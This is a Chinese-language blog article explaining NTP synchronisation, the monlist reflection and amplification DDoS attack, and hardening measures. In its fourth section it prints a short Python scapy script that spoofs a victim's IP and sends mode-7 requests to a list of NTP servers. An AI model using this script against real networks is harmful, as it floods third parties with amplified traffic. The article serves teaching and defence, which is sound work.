目录
1. NTP简介 2. NTP协议格式 3. NTP Reflect反射漏洞和NTP协议的关系 4. 漏洞触发的前提和攻击需要的步骤 5. 针对漏洞的攻防思考
1. NTP简介
Network Time Protocol(NTP)是用来使计算机时间同步化的一种协议,它可以使计算机对其服务器或时钟源(如石英钟,GPS等等)做同步化,它可以提供高精准度的时间校正(LAN上与标准间差小于1毫秒,WAN上几十毫秒),且可介由加密确认的方式来防止恶毒的协议攻击。
NTP提供准确时间,首先要有准确的时间来源,这一时间应该是国际标准时间UTC。 NTP获得UTC的时间来源可以是
1. 原子钟 2. 天文台 3. 卫星 4. 也可以从Internet上获取
这样就有了准确而可靠的时间源。时间按NTP服务器的等级传播。按照离外部UTC源的远近将所有服务器归入不同的Stratum(层)中
1. Stratum-1在顶层 有外部UTC接入 2. Stratum-2 从Stratum-1获取时间 3. Stratum-3 Stratum-2获取时间,以此类推
Stratum层的总数限制在15以内。所有这些服务器在逻辑上形成阶梯式的架构相互连接,而Stratum-1的时间服务器是整个系统的基础。计算机主机一般同多个时间服务器连接, 利用统计学的算法过滤来自不同服务器的时间,以选择最佳的路径和来源来校正主机时间。即使主机在长时间无法与某一时间服务器相联系的情况下,NTP服务依然有效运转。
为防止对时间服务器的恶意破坏,NTP使用了识别(Authentication)机制,检查来对时的信息是否是真正来自所宣称的服务器并检查资料的返回路径,以提供对抗干扰的保护机制
RFC上关于NTP的简介
http://www.rfc-editor.org/search/rfc_search_detail.php?title=NTP&pubstatus%5B%5D=Any&pub_date_type=any
0x1: 基于NTP网络协议的时间同步
Device A(client)和Device B(ntp server)通过网络相连,它们都有自己独立的系统时钟,需要通过NTP实现各自系统时钟的自动同步
1. 在Device A和Device B的系统时钟同步之前,Device A的时钟设定为10:00:00am,Device B的时钟设定为11:00:00am 2. Device B作为NTP时间服务器,即Device A将使自己的时钟与Device B的时钟同步 3. NTP报文在Device A和Device B之间单向传输所需要的时间为1秒(实际的网络延迟可能大于1秒) 4. Device A发送一个NTP报文给Device B,该报文带有它离开Device A时的时间戳,该时间戳为10:00:00am(T1) 5. 当此NTP报文到达Device B时,Device B加上自己的时间戳,该时间戳为11:00:01am(T2) 6. 当此NTP报文离开Device B时,Device B再加上自己的时间戳,该时间戳为11:00:02am(T3) 7. 当Device A接收到该响应报文时,Device A的本地时间为10:00:03am(T4)
在整个NTP交互过程中,交互的节点双方都可以得到T1、T2、T3、T4这几个参数
1. NTP报文的往返时延: Delay= (T4-T1) -(T3-T2) = 2秒 2. Device A相对Device B的时间差: offset= ( (T2-T1) + (T3-T4) ) / 2 = 1小时
通过这4个参数的加减,我们会发现网络的延时在传输过程中被"消除"掉了,通过"消除"得到了传输时差的2倍,然后除2,最后得到的就是两个端点之间的时间差了
Relevant Link:
http://baike.baidu.com/view/60648.htm http://en.wikipedia.org/wiki/Network_Time_Protocol http://zh.wikipedia.org/wiki/%E7%B6%B2%E7%B5%A1%E6%99%82%E9%96%93%E5%8D%94%E8%AD%B0
2. NTP协议格式
关于NTP网络协议的协议格式的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3837839.html //搜索:0x1: NTP网络协议
3. NTP Reflect反射漏洞和NTP协议的关系
要了解NTP放大攻击,我们需要重点关注协议中的一个字段,"Mode"字段,这个字段表示这个NTP数据报的类型和用途,总共有7种mode
0: 未定义 1: 主动对等体模式 2: 表示被动对等体模式 3: 表示客户模式 4: 表示服务器模式 5: 表示广播模式或组播模式 6: 表示此报文为NTP控制报文(MODE_CONTROL) 7: 预留给内部使用(MODE_PRIVATE)
而这当中的编号7的NTP报文,是专门预留给ntpdc(linux gnu下默认安装的ntp client)使用的
ntpdc支持很多的指令
ntpdc -n -i time-a.nist.gov
ntpdc> ?
而这些命令中有一个存在风险的指令:monlist
Monlist指令,可以获取与目标NTP Server进行过同步的最后600个客户机IP //这意味着,一个很小的请求包,就能获取到大量的活动IP地址组成的连续UDP包
在这种情况,实际的攻击效果是
1. 发送会回包比是1:73 2. 发送数据量和回收数据量是234bytes:73x482bytes 约等于 1:562 3. 10M的通信流量可以得到5620M的攻击流量
分析到这里,我们需要理解一个反射(relection)的概念,从本质上来说,反射攻击和ip spoofing、mac spoofing是一个道理
1. 正常情况:client和server建立udp或者tcp同喜,数据在client和server之间传输 2. 反射攻击情况下:攻击者通过将数据包的源ip(source ip)伪造为受害者的ip,并发往server,对于server来说,这个数据报就是来自于受害者的数据包,于是server对这个数据包进行响应,并向受害者返回对应的应答数据包
而UDP的无连接通信模式又更加剧了这个过程的简单化,黑客可以直接以"无状态的模式"向server发送大量的伪造包,而不用建立任何有效连接
黑客可以利用现在互联网上的NTP Server进行反射DDOS攻击,无形中,NTP Server的帮凶,在无意识中对受害者进行了大流量攻击
Relevant Link:
http://chenjiji.com/post/3761.html http://blog.sina.com.cn/s/blog_459861630101b4wf.html http://www.douban.com/note/171309770/
4. 漏洞触发的前提和攻击需要的步骤
NTP Reflect DDOS Attack这种漏洞的根源在于NTP Server服务器的配置漏洞,因此,这个漏洞触发的前提,同时也是我们检测机器是否存在这个漏洞的依据是
1. ntp.conf配置文件中是否开启了`disable monitor`选项 2. 当前是否有程序在监听 UDP 123 端口
0x1: 测试POC
#!/usr/bin/env python # author: pangzi.me@gmail.com import sys from scapy.all import * def attack(target, ntp_server): send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42))) if __name__ == "__main__": if len(sys.argv) != 3: sys.exit(1) target = sys.argv[1] ntp_server_file = sys.argv[2] for ntp_server in open(ntp_server_file, "r"): ntp_server = ntp_server.strip() if ntp_server != "": attack(target, ntp_server)
0x2: NTP反射攻击的相关案例
https://isc.sans.edu/forums/diary/NTP+reflection+attack/17300 http://openntpproject.org/ http://www.internetsociety.org/doc/amplification-hell-revisiting-network-protocols-ddos-abuse http://blog.cloudflare.com/technical-details-behind-a-400gbps-ntp-amplification-ddos-attack/ http://arstechnica.com/security/2014/01/new-dos-attacks-taking-down-game-sites-deliver-crippling-100-gbps-floods/ https://www.us-cert.gov/ncas/alerts/TA14-013A
5. 针对漏洞的攻防思考
总结一下这种漏洞的本质原因,我们会发现
1. 此指令的不等价交换(1: 562的报酬) 属于单条简单指令可以得到大量回显的指令 2. UDP协议的通信模糊性(无三次握手验证) 黑客可以以极低的成本发送伪造后的UDP攻击数据包 3. 以及NTP服务器的无认证机制 使得反射型DDos攻击成为可能
0x1: 修复/防御方法
1. 加固 NTP 服务 1) 把 NTP 服务器升级到 4.2.7p26 2) 关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`选项 3) 在网络出口封禁 UDP 123 端口 2. 防御 NTP 反射和放大攻击 1) 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御 2) 使用防 DDoS 设备进行清洗
Relevant Link:
http://drops.wooyun.org/papers/926
Copyright (c) 2014 LittleHann All rights reserved